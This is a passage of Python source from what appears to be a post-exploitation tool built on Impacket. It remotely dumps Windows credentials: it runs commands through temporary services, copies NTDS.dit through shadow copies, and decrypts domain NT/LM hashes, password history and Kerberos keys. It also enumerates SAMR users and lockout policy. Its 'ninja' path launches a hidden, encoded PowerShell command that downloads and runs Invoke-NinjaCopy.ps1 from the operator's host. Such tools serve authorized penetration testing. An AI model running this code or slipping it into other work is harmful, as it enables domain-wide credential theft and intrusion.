        return self.__retrieveHive('SECURITY')

    def __executeRemote(self, data):
        self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
        command += ' & ' + 'del ' + self.__batchFile

        self.__serviceDeleted = False
        resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']
        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        self.__serviceDeleted = True
        scmr.hRCloseServiceHandle(self.__scmr, service)
    
    def __answer(self, data):
        self.__answerTMP += data

    def __getLastVSS(self):
        self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
        sleep(5)
        tries = 0
        while True:
            try:
                self.__smbConnection.getFile('ADMIN$', 'Temp\\' + OUTPUT_FILENAME, self.__answer)
                break
            except Exception, e:
                if tries > 30:
                    # We give up
                    raise Exception('Too many tries trying to list vss shadows')
                if str(e).find('SHARING') > 0:
                    # Stuff didn't finish yet.. wait more
                    sleep(5)
                    tries +=1
                    pass
                else:
                    raise

        lines = self.__answerTMP.split('\n')
        lastShadow = ''
        lastShadowFor = ''

        # Let's find the last one
        # The string used to search the shadow for drive. Wondering what happens
        # in other languages
        SHADOWFOR = 'Volume: ('

        for line in lines:
           if line.find('GLOBALROOT') > 0:
               lastShadow = line[line.find('\\\\?'):][:-1]
           elif line.find(SHADOWFOR) > 0:
               lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]

        self.__smbConnection.deleteFile('ADMIN$', 'Temp\\' + OUTPUT_FILENAME)

        return lastShadow, lastShadowFor

    def saveNTDS(self, ninja=False):
        logging.info('Searching for NTDS.dit')
        # First of all, let's try to read the target NTDS.dit registry entry
        ans = rrp.hOpenLocalMachine(self.__rrp)
        regHandle = ans['phKey']
        try:
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
            keyHandle = ans['phkResult']
        except:
            # Can't open the registry path, assuming no NTDS on the other end
            return None

        try:
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
            ntdsLocation = dataValue[:-1]
            ntdsDrive = ntdsLocation[:2]
        except:
            # Can't open the registry path, assuming no NTDS on the other end
            return None

        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
        rrp.hBaseRegCloseKey(self.__rrp, regHandle)

        if ninja is True:
            logging.info('Registry says NTDS.dit is at %s' % ntdsLocation)
            tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
            local_ip = self.__smbConnection.getSMBServer().get_socket().getsockname()[0]

            command = """
            IEX (New-Object Net.WebClient).DownloadString('http://{addr}/Invoke-NinjaCopy.ps1');
            Invoke-NinjaCopy -Path "{ntdspath}" -LocalDestination "$env:systemroot\\Temp\\{tmpname}";
            """.format(addr=local_ip, ntdspath=ntdsLocation, tmpname=tmpFileName)
            
            self.__executeRemote('%%COMSPEC%% /C powershell.exe -exec bypass -window hidden -noni -nop -encoded %s' % ps_command(command=command))
            remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)

        else:
            logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
            # Get the list of remote shadows
            shadow, shadowFor = self.__getLastVSS()
            if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
                # No shadow, create one
                self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
                shadow, shadowFor = self.__getLastVSS()
                shouldRemove = True
                if shadow == '':
                    raise Exception('Could not get a VSS')
            else:
                shouldRemove = False

            # Now copy the ntds.dit to the temp directory
            tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'

            self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))

            if shouldRemove is True:
                self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)

            self.__smbConnection.deleteFile('ADMIN$', 'Temp\\' + OUTPUT_FILENAME)

            remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)

        return remoteFileName

class NTDSHashes:
    NAME_TO_INTERNAL = {
        'uSNCreated':'ATTq131091',
        'uSNChanged':'ATTq131192',
        'name':'ATTm3',
        'objectGUID':'ATTk589826',
        'objectSid':'ATTr589970',
        'userAccountControl':'ATTj589832',
        'primaryGroupID':'ATTj589922',
        'accountExpires':'ATTq589983',
        'logonCount':'ATTj589993',
        'sAMAccountName':'ATTm590045',
        'sAMAccountType':'ATTj590126',
        'lastLogonTimestamp':'ATTq589876',
        'userPrincipalName':'ATTm590480',
        'unicodePwd':'ATTk589914',
        'dBCSPwd':'ATTk589879',
        'ntPwdHistory':'ATTk589918',
        'lmPwdHistory':'ATTk589984',
        'pekList':'ATTk590689',
        'supplementalCredentials':'ATTk589949',
    }

    NAME_TO_ATTRTYP = {
        'userPrincipalName': 0x90290,
        'sAMAccountName': 0x900DD,
        'unicodePwd': 0x9005A,
        'dBCSPwd': 0x90037,
        'ntPwdHistory': 0x9005E,
        'lmPwdHistory': 0x900A0,
        'supplementalCredentials': 0x9007D,
        'objectSid': 0x90092,
    }

    KERBEROS_TYPE = {
        1:'dec-cbc-crc',
        3:'des-cbc-md5',
        17:'aes128-cts-hmac-sha1-96',
        18:'aes256-cts-hmac-sha1-96',
        0xffffff74:'rc4_hmac',
    }

    INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())

    SAM_NORMAL_USER_ACCOUNT = 0x30000000
    SAM_MACHINE_ACCOUNT     = 0x30000001
    SAM_TRUST_ACCOUNT       = 0x30000002

    ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)

    class PEK_KEY(Structure):
        structure = (
            ('Header','8s=""'),
            ('KeyMaterial','16s=""'),
            ('EncryptedPek','52s=""'),
        )

    class CRYPTED_HASH(Structure):
        structure = (
            ('Header','8s=""'),
            ('KeyMaterial','16s=""'),
            ('EncryptedHash','16s=""'),
        )

    class CRYPTED_HISTORY(Structure):
        structure = (
            ('Header','8s=""'),
            ('KeyMaterial','16s=""'),
            ('EncryptedHash',':'),
        )

    class CRYPTED_BLOB(Structure):
        structure = (
            ('Header','8s=""'),
            ('KeyMaterial','16s=""'),
            ('EncryptedHash',':'),
        )

    def __init__(self, ntdsFile, bootKey, noLMHash=True, remoteOps=None, useVSSMethod=False):
        self.__bootKey = bootKey
        self.__NTDS = ntdsFile
        self.__history = False
        self.__noLMHash = noLMHash
        self.__useVSSMethod = useVSSMethod
        self.dumped_hashes = {'hashes': [], 'kerb': []}
        self.__remoteOps = remoteOps
        if self.__NTDS is not None:
            self.__ESEDB = ESENT_DB(ntdsFile, isRemote = True)
            self.__cursor = self.__ESEDB.openTable('datatable')
        self.__tmpUsers = list()
        self.__PEK = None
        self.__cryptoCommon = CryptoCommon()
        self.__hashesFound = {}
        self.__kerberosKeys = OrderedDict()

    def __getPek(self):
        logging.info('Searching for pekList, be patient')
        pek = None
        while True:
            record = self.__ESEDB.getNextRow(self.__cursor)
            if record is None:
                break
            elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
                pek =  unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
                break
            elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
                # Okey.. we found some users, but we're not yet ready to process them.
                # Let's just store them in a temp list
                self.__tmpUsers.append(record)

        if pek is not None:
            encryptedPek = self.PEK_KEY(pek)
            md5 = hashlib.new('md5')
            md5.update(self.__bootKey)
            for i in range(1000):
                md5.update(encryptedPek['KeyMaterial'])
            tmpKey = md5.digest()
            rc4 = ARC4.new(tmpKey)
            plainText = rc4.encrypt(encryptedPek['EncryptedPek'])
            self.__PEK = plainText[36:]

    def __removeRC4Layer(self, cryptedHash):
        md5 = hashlib.new('md5')
        md5.update(self.__PEK)
        md5.update(cryptedHash['KeyMaterial'])
        tmpKey = md5.digest()
        rc4 = ARC4.new(tmpKey)
        plainText = rc4.encrypt(cryptedHash['EncryptedHash'])

        return plainText

    def __removeDESLayer(self, cryptedHash, rid):
        Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))

        Crypt1 = DES.new(Key1, DES.MODE_ECB)
        Crypt2 = DES.new(Key2, DES.MODE_ECB)

        decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])

        return decryptedHash

    def __decryptSupplementalInfo(self, record, rid=None):
        # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
        haveInfo = False
        if self.__useVSSMethod is True:
            if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
                if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
                    if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
                        domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
                        userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
                    else:
                        userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
                    cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
                    plainText = self.__removeRC4Layer(cipherText)
                    haveInfo = True
        else:
            domain = None
            userName = None
            for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
                if attr['attrTyp'] == self.NAME_TO_ATTRTYP['userPrincipalName']:
                    if attr['AttrVal']['valCount'] > 0:
                        try:
                            domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
                        except:
                            domain = None
                    else:
                        domain = None
                elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['sAMAccountName']:
                    if attr['AttrVal']['valCount'] > 0:
                        try:
                            userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
                        except:
                            logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
                            userName = 'unknown'
                    else:
                        logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
                        userName = 'unknown'
                if attr['attrTyp'] == self.NAME_TO_ATTRTYP['supplementalCredentials']:
                    if attr['AttrVal']['valCount'] > 0:
                        blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                        plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
                        if len(plainText) > 24:
                            haveInfo = True
            if domain is not None:
                userName = '%s\\%s' % (domain, userName)

        if haveInfo is True:
            try:
                userProperties = samr.USER_PROPERTIES(plainText)
            except:
                # On some old w2k3 there might be user properties that don't
                # match [MS-SAMR] structure, discarding them
                return
            propertiesData = userProperties['UserProperties']
            for propertyCount in range(userProperties['PropertyCount']):
                userProperty = samr.USER_PROPERTY(propertiesData)
                propertiesData = propertiesData[len(userProperty):]
                # For now, we will only process Newer Kerberos Keys.
                if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
                    propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
                    kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
                    data = kerbStoredCredentialNew['Buffer']
                    for credential in range(kerbStoredCredentialNew['CredentialCount']):
                        keyDataNew = samr.KERB_KEY_DATA_NEW(data)
                        data = data[len(keyDataNew):]
                        keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]

                        if  self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
                            answer =  "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
                        else:
                            answer =  "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
                        # We're just storing the keys, not printing them, to make the output more readable
                        # This is kind of ugly... but it's what I came up with tonight to get an ordered
                        # set :P. Better ideas welcomed ;)
                        self.__kerberosKeys[answer] = None

    def __decryptHash(self, record, rid=None):
        if self.__useVSSMethod is True:
            logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])

            sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
            rid = sid.formatCanonical().split('-')[-1]

            if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
                encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
                tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
                LMHash = self.__removeDESLayer(tmpLMHash, rid)
            else:
                LMHash = ntlm.LMOWFv1('', '')

            if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
                encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
                tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
                NTHash = self.__removeDESLayer(tmpNTHash, rid)
            else:
                NTHash = ntlm.NTOWFv1('', '')

            if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
                domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
                userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
            else:
                userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]

            answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
            self.__hashesFound[unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])] = answer
            self.dumped_hashes['hashes'].append(answer)

            if self.__history:
                LMHistory = []
                NTHistory = []
                if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
                    encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
                    tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
                    for i in range(0, len(tmpLMHistory) / 16):
                        LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
                        LMHistory.append(LMHash)

                if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
                    encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
                    tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
                    for i in range(0, len(tmpNTHistory) / 16):
                        NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
                        NTHistory.append(NTHash)

                for i, (LMHash, NTHash) in enumerate(
                        map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
                    if self.__noLMHash:
                        lmhash = hexlify(ntlm.LMOWFv1('', ''))
                    else:
                        lmhash = hexlify(LMHash)

                    answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
                    self.__hashesFound[unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]) + str(i)] = answer
                    self.dumped_hashes['hashes'].append(answer)
        else:
            logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
            domain = None
            if self.__history:
                LMHistory = []
                NTHistory = []
            for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
                if attr['attrTyp'] == self.NAME_TO_ATTRTYP['dBCSPwd']:
                    if attr['AttrVal']['valCount'] > 0:
                        encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                        encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
                        LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
                    else:
                        LMHash = ntlm.LMOWFv1('', '')
                elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['unicodePwd']:
                    if attr['AttrVal']['valCount'] > 0:
                        encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                        encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
                        NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
                    else:
                        NTHash = ntlm.NTOWFv1('', '')
                elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['userPrincipalName']:
                    if attr['AttrVal']['valCount'] > 0:
                        try:
                            domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
                        except:
                            domain = None
                    else:
                        domain = None
                elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['sAMAccountName']:
                    if attr['AttrVal']['valCount'] > 0:
                        try:
                            userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
                        except:
                            logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
                            userName = 'unknown'
                    else:
                        logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
                        userName = 'unknown'
                elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['objectSid']:
                    if attr['AttrVal']['valCount'] > 0:
                        objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                    else:
                        logging.error('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
                        objectSid = rid

                if self.__history:
                    if attr['attrTyp'] == self.NAME_TO_ATTRTYP['lmPwdHistory']:
                        if attr['AttrVal']['valCount'] > 0:
                            encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                            tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
                            for i in range(0, len(tmpLMHistory) / 16):
                                LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
                                LMHistory.append(LMHashHistory)
                        else:
                            logging.debug('No lmPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
                    elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['ntPwdHistory']:
                        if attr['AttrVal']['valCount'] > 0:
                            encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                            tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
                            for i in range(0, len(tmpNTHistory) / 16):
                                NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
                                NTHistory.append(NTHashHistory)
                        else:
                            logging.debug('No ntPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])

            if domain is not None:
                userName = '%s\\%s' % (domain, userName)

            answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
            self.__hashesFound[objectSid] = answer
            self.dumped_hashes['hashes'].append(answer)

            if self.__history:
                for i, (LMHashHistory, NTHashHistory) in enumerate(
                        map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
                    if self.__noLMHash:
                        lmhash = hexlify(ntlm.LMOWFv1('', ''))
                    else:
                        lmhash = hexlify(LMHashHistory)

                    answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
                    self.__hashesFound[objectSid + str(i)] = answer
                    print answer

    def dump(self):
        if self.__NTDS is None and self.__useVSSMethod is True:
            # No NTDS.dit file provided and were asked to use VSS
            return
        else:
            try:
                self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
            except:
                # Target's not a DC
                return

        logging.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
        if self.__useVSSMethod:
            # We start getting rows from the table aiming at reaching
            # the pekList. If we find users records we stored them
            # in a temp list for later process.
            self.__getPek()
            if self.__PEK is not None:
                logging.info('Pek found and decrypted: 0x%s' % hexlify(self.__PEK))
                logging.info('Reading and decrypting hashes from %s ' % self.__NTDS)
                # First of all, if we have users already cached, let's decrypt their hashes
                for record in self.__tmpUsers:
                    try:
                        self.__decryptHash(record)
                        self.__decryptSupplementalInfo(record)
                    except Exception, e:
                        # import traceback
                        # print traceback.print_exc()
                        try:
                            logging.error(
                                "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
                            logging.error(str(e))
                            pass
                        except:
                            logging.error("Error while processing row!")
                            logging.error(str(e))
                            pass

                # Now let's keep moving through the NTDS file and decrypting what we find
                while True:
                    try:
                        record = self.__ESEDB.getNextRow(self.__cursor)
                    except:
                        logging.error('Error while calling getNextRow(), trying the next one')
                        continue

                    if record is None:
                        break
                    try:
                        if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
                            self.__decryptHash(record)
                            self.__decryptSupplementalInfo(record)
                    except Exception, e:
                        # import traceback
                        # print traceback.print_exc()
                        try:
                            logging.error(
                                "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
                            logging.error(str(e))
                            pass
                        except:
                            logging.error("Error while processing row!")
                            logging.error(str(e))
                            pass
        else:
            logging.info('Using the DRSUAPI method to get NTDS.DIT secrets')
            status = STATUS_MORE_ENTRIES
            enumerationContext = 0
            while status == STATUS_MORE_ENTRIES:
                resp = self.__remoteOps.getDomainUsers(enumerationContext)

                for user in resp['Buffer']['Buffer']:
                    userName = user['Name']

                    userSid = self.__remoteOps.ridToSid(user['RelativeId'])

                    # Let's crack the user sid into DS_FQDN_1779_NAME
                    # In theory I shouldn't need to crack the sid. Instead
                    # I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
                    # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
                    crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name = userSid.formatCanonical())

                    if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
                        userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
                        #userRecord.dump()
                        if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
                            raise Exception('DRSGetNCChanges didn\'t return any object!')
                    else:
                        logging.warning('DRSCrackNames returned %d items for user %s, skipping' %(crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
                    try:
                        self.__decryptHash(userRecord, user['RelativeId'])
                        self.__decryptSupplementalInfo(userRecord, user['RelativeId'])
                    except Exception, e:
                        #import traceback
                        #traceback.print_exc()
                        logging.error("Error while processing user!")
                        logging.error(str(e))

                enumerationContext = resp['EnumerationContext']
                status = resp['ErrorCode']

        # Now we'll print the Kerberos keys. So we don't mix things up in the output.
        if len(self.__kerberosKeys) > 0:
            if self.__useVSSMethod is True:
                logging.info('Kerberos keys from %s ' % self.__NTDS)
            else:
                logging.info('Kerberos keys grabbed')

            for itemKey in self.__kerberosKeys.keys():
                self.dumped_hashes['kerb'].append(itemKey)

        return self.dumped_hashes

    def export(self, fileName):
        if len(self.__hashesFound) > 0:
            items = sorted(self.__hashesFound)
            fd = open(fileName+'.ntds','w+')
            for item in items:
                try:
                    fd.write(self.__hashesFound[item]+'\n')
                except:
                    try:
                        logging.error("Error writing entry %d, skipping" % item)
                    except:
                        logging.error("Error writing entry, skipping")
                    pass
            fd.close()
        if len(self.__kerberosKeys) > 0:
            fd = open(fileName+'.ntds.kerberos','w+')
            for itemKey in self.__kerberosKeys.keys():
                fd.write(itemKey+'\n')
            fd.close()

    def finish(self):
        if self.__NTDS is not None:
            self.__ESEDB.close()

class DumpSecrets:
    def __init__(self, address, username='', password='', domain='', hashes=None, sam=False, ntds=False, useVSSMethod=False, useNinjaMethod=False):
        self.__remoteAddr = address
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__sam = sam
        self.__ntds = ntds
        self.__useVSSMethod = useVSSMethod
        self.__useNinjaMethod = useNinjaMethod
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__isRemote = True
        self.dumped_ntds_hashes = None
        self.dumped_sam_hashes = None
        if hashes:
            self.__lmhash, self.__nthash = hashes.split(':')

    def getBootKey(self):
        # Local Version whenever we are given the files directly
        bootKey = ''
        tmpKey = ''
        winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
        # We gotta find out the Current Control Set
        currentControlSet = winreg.getValue('\\Select\\Current')[1]
        currentControlSet = "ControlSet%03d" % currentControlSet
        for key in ['JD','Skew1','GBG','Data']:
            logging.debug('Retrieving class info for %s'% key)
            ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key))
            digit = ans[:16].decode('utf-16le')
            tmpKey = tmpKey + digit

        transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]

        tmpKey = unhexlify(tmpKey)

        for i in xrange(len(tmpKey)):
            bootKey += tmpKey[transforms[i]]

        logging.info('Target system bootKey: 0x%s' % hexlify(bootKey))

        return bootKey

    def checkNoLMHashPolicy(self):
        logging.debug('Checking NoLMHash Policy')
        winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
        # We gotta find out the Current Control Set
        currentControlSet = winreg.getValue('\\Select\\Current')[1]
        currentControlSet = "ControlSet%03d" % currentControlSet

        #noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
        noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
        if noLmHash is not None:
            noLmHash = noLmHash[1]
        else:
            noLmHash = 0

        if noLmHash != 1:
            logging.debug('LMHashes are being stored')
            return False
        logging.debug('LMHashes are NOT being stored')
        return True

    def dump(self, smbconnection):
        try:
            self.__remoteOps = RemoteOperations(smbconnection)
            self.__remoteOps.enableRegistry()
            bootKey = self.__remoteOps.getBootKey()

            # Let's check whether target system stores LM Hashes
            self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
            SECURITYFileName = self.__remoteOps.saveSECURITY()

            if self.__sam is True:
                SAMFileName = self.__remoteOps.saveSAM()

                self.__SAMHashes = SAMHashes(SAMFileName, bootKey)
                self.dumped_sam_hashes = self.__SAMHashes.dump()

            elif self.__ntds is True:
                if self.__useVSSMethod:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                elif self.__useNinjaMethod:
                    NTDSFileName = self.__remoteOps.saveNTDS(ninja=True)
                    self.__useVSSMethod = True
                else:
                    NTDSFileName = None

                self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod)
                try:
                    self.dumped_ntds_hashes = self.__NTDSHashes.dump()
                except Exception, e:
                    logging.error(e)
                    if self.__useVSSMethod is False:
                        logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')

        except (Exception, KeyboardInterrupt), e:
            traceback.print_exc()
            try:
                self.cleanup()
            except:
                pass

    def cleanup(self):
        logging.info('Cleaning up... ')
        if self.__remoteOps:
            self.__remoteOps.finish()
        if self.__SAMHashes:
            self.__SAMHashes.finish()
        if self.__NTDSHashes:
            self.__NTDSHashes.finish()

class ListUsersException(Exception):
    pass

class SAMRDump:
    KNOWN_PROTOCOLS = {
        '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
        '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
        }


    def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
        if not protocols:
            self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
        else:
            self.__protocols = [protocols]

        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = aesKey
        self.__doKerberos = doKerberos
        if hashes:
            self.__lmhash, self.__nthash = hashes.split(':')


    def dump(self, addr):
        """Dumps the list of users and shares registered present at
        addr. Addr is a valid host name or IP address.
        """
        #logging.info('Retrieving endpoint list from %s' % addr)

        # Try all requested protocols until one works.
        for protocol in self.__protocols:
            protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
            port = protodef[1]

            #logging.info("Trying protocol %s..." % protocol)
            rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)

            try:
                return self.__fetchList(rpctransport)
            except Exception, e:
                logging.info(str(e))
            else:
                # Got a response. No need for further iterations.
                break

    def __fetchList(self, rpctransport):
        dce = rpctransport.get_dce_rpc()

        entries = {'users': []}

        dce.connect()
        dce.bind(samr.MSRPC_UUID_SAMR)

        try:
            resp = samr.hSamrConnect(dce)
            serverHandle = resp['ServerHandle'] 

            resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
            domains = resp['Buffer']['Buffer']

            #logging.info("Looking up users in domain %s" % domains[0]['Name'])

            resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )

            resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
            domainHandle = resp['DomainHandle']

            resp = samr.hSamrQueryInformationDomain(dce, domainHandle)
            lthresh =  resp['Buffer']['General2']['LockoutThreshold']
            entries["lthresh"] = lthresh

            if lthresh != 0:
                entries['lduration'] = (resp['Buffer']['General2']['LockoutDuration'] / -600000000)
            else:
                entries['lduration'] = 0

            status = STATUS_MORE_ENTRIES
            enumerationContext = 0
